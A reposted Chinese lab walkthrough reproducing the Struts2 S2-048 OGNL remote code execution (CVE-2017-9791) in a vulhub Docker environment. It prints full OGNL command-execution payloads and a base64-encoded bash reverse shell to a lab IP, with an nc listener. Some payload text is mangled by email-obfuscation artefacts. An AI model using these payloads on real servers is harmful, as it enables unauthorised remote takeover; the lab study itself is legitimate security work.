0


[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

一、漏洞编号

s2-048
CVE-2017-9791

二、影响范围

Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本

三、漏洞描述

Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,导致任意代码执行。

四、环境搭建

1、进入s2-048环境

cd vulhub/struts2/s2-048

在这里插入图片描述

2、启动s2-048环境

docker-compose up -d

在这里插入图片描述

3、查看s2-048环境

docker-composeps

在这里插入图片描述

4、访问s2-048环境

http://ip:端口/integration/editGangster.action

http://192.168.233.128:8080/integration/editGangster.action

在这里插入图片描述

5、查看s2-048漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭s2-048环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、打开漏洞页面

http://ip:端口/integration/editGangster.action

在这里插入图片描述

2、验证漏洞存在

先输入${1+1}以查看执行结果。

在这里插入图片描述

可以看到页面回显2,输入1=1的逻辑正确,证明存在该漏洞。

在这里插入图片描述

3、POC

把需要执行的命令替换下面的命令即可

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('命令').getInputStream())).(#q)}

4、执行id

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

在这里插入图片描述

查看返回结果,发现id执行成功,该poc有效,该页面存在s2-048漏洞

在这里插入图片描述

5、执行ls

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}

在这里插入图片描述

6、执行touch /tmp/PowerShell.txt

尝试在/tmp目录下创建PowerShell.txt文件

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('touch /tmp/PowerShell.txt').getInputStream())).(#q)}

无回显

在这里插入图片描述

进入容器查看一下,发现文件创建成功

dockerpsdockerexec-it 容器ID /bin/bash
ls /tmp

在这里插入图片描述

六、getshell

1、攻击机监听

nc-lvvp55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.反弹shell命令

Bash反弹shell详解在文末给出

bash-i>& /dev/tcp/192.168.233.1/55555 0>&1

2.exec编码

编码工具在文末给出

bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}

在这里插入图片描述

3.payload

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}').getInputStream())).(#q)}

4、执行命令

提交之后浏览器页面一直再转圈圈

在这里插入图片描述

3、getshell成功

等了一小会儿之后发现shell反弹过来了

在这里插入图片描述

执行ls /tmp发现我们之前创建的文件

在这里插入图片描述

七、漏洞修复

建议Apache Struts2 套件升级到最新版本

八、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
6、Exec编码工具


本文转载自: https://blog.csdn.net/qq_51577576/article/details/128294080
版权归原作者 _PowerShell 所有, 如有侵权,请联系我们删除。

“[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)”的评论:

还没有评论